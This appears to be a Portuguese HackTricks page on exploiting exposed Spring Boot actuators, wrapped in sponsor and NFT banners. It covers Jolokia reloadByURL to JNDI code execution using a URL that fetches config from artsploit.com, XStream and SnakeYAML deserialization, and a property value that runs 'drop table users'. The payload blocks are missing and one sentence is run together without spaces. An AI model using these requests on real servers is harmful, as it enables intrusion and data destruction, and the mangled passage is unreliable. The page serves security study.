* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
O Framework Spring Boot inclui uma série de recursos chamados de actuators para ajudar a monitorar e gerenciar sua aplicação web quando você a coloca em produção. Destinados a serem usados para auditoria, saúde e coleta de métricas, eles também podem abrir uma porta oculta para o seu servidor quando mal configurados.
Quando uma aplicação Spring Boot está em execução, ela registra automaticamente vários endpoints (como '/health', '/trace', '/beans', '/env' etc) no processo de roteamento. Para o Spring Boot 1 - 1.4, eles são acessíveis sem autenticação, causando problemas significativos de segurança. A partir da versão Spring 1.5, todos os endpoints, exceto '/health' e '/info', são considerados sensíveis e protegidos por padrão, mas essa segurança muitas vezes é desativada pelos desenvolvedores da aplicação.
A maioria dos actuators suporta apenas solicitações GET e simplesmente revela dados de configuração sensíveis, mas alguns deles são particularmente interessantes para caçadores de shell:
Se a Biblioteca Jolokia estiver no classpath da aplicação alvo, ela será automaticamente exposta pelo Spring Boot sob o endpoint '/jolokia' do actuator. O Jolokia permite acesso HTTP a todos os MBeans registrados e é projetado para executar as mesmas operações que você pode executar com JMX. É possível listar todas as ações de MBeans disponíveis usando a URL:
A ação '**reloadByURL**', fornecida pela biblioteca Logback, nos permite recarregar a configuração de log de uma URL externa. Isso pode ser acionado apenas navegando para: [**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
2. A configuração do Logback possui o recurso ['Obtendo variáveis do JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). No arquivo XML, podemos incluir uma tag como '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' e o atributo name será passado para o método DirContext.lookup(). Se pudermos fornecer um nome arbitrário para a função .lookup(), nem precisamos de XXE ou HeapDump, pois isso nos dá uma **Execução Remota de Código** completa.
1\. Um atacante solicita a URL mencionada anteriormente para executar a função 'reloadByURL', fornecida pela classe 'qos.logback.classic.jmx.JMXConfigurator'.
2\. A função 'reloadByURL' faz o download de uma nova configuração de [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) e a analisa como uma configuração do Logback. Essa configuração maliciosa deve ter o seguinte conteúdo:
3\. Quando este arquivo é analisado no servidor vulnerável, ele cria uma conexão com o servidor LDAP controlado pelo atacante especificado no valor do parâmetro "env-entry-name", o que leva à resolução do JNDI. O servidor LDAP malicioso pode retornar um objeto do tipo 'Referência' para desencadear uma **execução do bytecode fornecido** na aplicação alvo. Os ataques JNDI são bem explicados neste [artigo de pesquisa da MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). A [nova técnica de exploração JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (descrita anteriormente em nosso blog) também funciona aqui, já que o Tomcat é o servidor de aplicação padrão no Spring Boot Framework.
Se as Bibliotecas do Spring Cloud estiverem no classpath, o endpoint **'/env'** permite modificar as propriedades ambientais do Spring. Todos os beans anotados como '**@ConfigurationProperties**' podem ser modificados e reatribuídos. Muitas, mas nem todas, as propriedades que podemos controlar estão listadas no endpoint '/configprops' do atuador. Na verdade, existem muitas delas, mas não está claro o que precisamos modificar para alcançar algo. Depois de passar alguns dias brincando com elas, encontramos isso:
Esta propriedade modifica a serviceURL do Eureka para um valor arbitrário. O Eureka Server é normalmente usado como um servidor de descoberta, e quase todas as aplicações Spring Cloud se registram nele e enviam atualizações de status para ele. Se você tiver a sorte de ter o Eureka-Client <1.8.7noclasspathdedestino(normalmenteincluídonoSpringCloudNetflix),vocêpodeexploraravulnerabilidadededeserializaçãodo**XStream**nele.Tudoquevocêprecisafazerédefinirapropriedade'eureka.client.serviceUrl.defaultZone'paraaURLdoseuservidor( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream))via'/env'edepoischamaroendpoint'/refresh'.Depoisdisso,seuservidordeveserviracargaútildoXStreamcomoseguinteconteúdo:
Este payload XStream é uma versão ligeiramente modificada da cadeia de gadgets ImageIO apenas para JDK da pesquisa Marshalsec. A única diferença aqui é o uso de **LinkedHashSet** para acionar o método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. O payload original utiliza java.lang.Map para obter o mesmo comportamento, mas a configuração do XStream do Eureka possui um [conversor personalizado para mapas](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) que o torna inutilizável. O payload acima não utiliza mapas e pode ser usado para obter Execução Remota de Código sem restrições adicionais.
Usando os Spring Actuators, você pode explorar essa vulnerabilidade mesmo sem ter acesso a um servidor Eureka interno; você só precisa de um endpoint "/env" disponível.
**spring.datasource.tomcat.validationQuery=drop+table+users** - permite especificar qualquer consulta SQL, que será executada automaticamente no banco de dados atual. Pode ser qualquer instrução, incluindo inserção, atualização ou exclusão.
![Explorando o Drop Table dos Spring Boot Actuators](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png)
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - permite modificar a string de conexão JDBC atual.
A última configuração parece ótima, mas o problema é quando a aplicação que executa a conexão com o banco de dados já está estabelecida, apenas atualizar a string JDBC não tem nenhum efeito. Felizmente, há outra propriedade que pode nos ajudar nesse caso:
O truque que podemos usar aqui é aumentar o número de conexões simultâneas com o banco de dados. Assim, podemos alterar a string de conexão JDBC, aumentar o número de conexões e, em seguida, enviar muitas solicitações para a aplicação para simular uma carga pesada. Sob carga, a aplicação criará uma nova conexão com o banco de dados com a string JDBC maliciosa atualizada. Testei essa técnica localmente com o Mysql e funciona perfeitamente.
![Explorando o Max Active dos Spring Boot Actuators](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuração do Spring Cloud (não tem efeito após o início do aplicativo, apenas os valores iniciais são usados)
Essas propriedades não têm efeito a menos que o endpoint '/restart' seja chamado. Esse endpoint reinicia todo o ApplicationContext, mas está desativado por padrão.
**N.B.** No Spring Boot 2x, o formato da solicitação para modificar propriedades via o endpoint '/env' é ligeiramente diferente (usa formato json), mas a ideia é a mesma.
Se você quiser testar essa vulnerabilidade localmente, criei um [aplicativo Spring Boot simples na minha página do Github](https://github.com/artsploit/actuator-testbed). Todos os payloads devem funcionar lá, exceto as configurações do banco de dados (a menos que você as configure).
Uma lista completa dos actuators padrão pode ser encontrada aqui: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Tenha em mente que os desenvolvedores de aplicativos podem criar seus próprios endpoints usando a anotação @Endpoint.
Esta solicitação modifica a propriedade 'spring.cloud.bootstrap.location', que é usada para carregar configurações externas e analisá-las no formato YAML. Para que isso aconteça, também precisamos chamar o endpoint '/refresh'.
Quando a configuração YAML é obtida do servidor remoto, ela é analisada com a biblioteca SnakeYAML, que também é suscetível a ataques de desserialização. A carga útil (yaml-payload.yml) pode ser gerada usando a pesquisa Marshalsec mencionada anteriormente:
A desserialização deste arquivo aciona a execução do construtor do ScriptEngineManager com o URLClassLoader fornecido. Em resumo, isso leva ao método **'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)'**, que tenta encontrar todas as implementações da interface 'ScriptEngineFactory' em todas as bibliotecas no classpath. Como podemos adicionar uma nova biblioteca via URLClassLoader, podemos fornecer uma nova 'ScriptEngineFactory' com o bytecode malicioso interno. Para fazer isso, precisamos criar um arquivo jar com os seguintes arquivos obrigatórios: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) deve conter o bytecode real, com a carga maliciosa no construtor.
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) deve ser apenas um arquivo de texto contendo uma referência completa para 'artsploit.AwesomeScriptEngineFactory', para que o ServiceLoader saiba onde encontrar a classe: **artsploit.AwesomeScriptEngineFactory**. Novamente, essa técnica de exploração requer que o spring cloud esteja no classpath, mas, em comparação com o payload do XStream do Eureka, ela funciona mesmo na versão mais recente. Você pode encontrar o payload completo no meu projeto do github: [yaml-payload](https://github.com/artsploit/yaml-payload).
Consulte esta página para saber como explorar a combinação /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## SSRF no Spring Boot através da interpretação incorreta do nome do caminho <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**A partir desta pesquisa**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): O framework Spring aceita o caractere separador de parâmetro de matriz `;` antes da primeira barra do nome do caminho HTTP:
Considerando que o Spring permite qualquer caractere após o separador de parâmetros da matriz, torna-se possível usar o caractere `@` para buscar um endpoint arbitrário também.
Abaixo está um exemplo da solicitação de exploração:
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).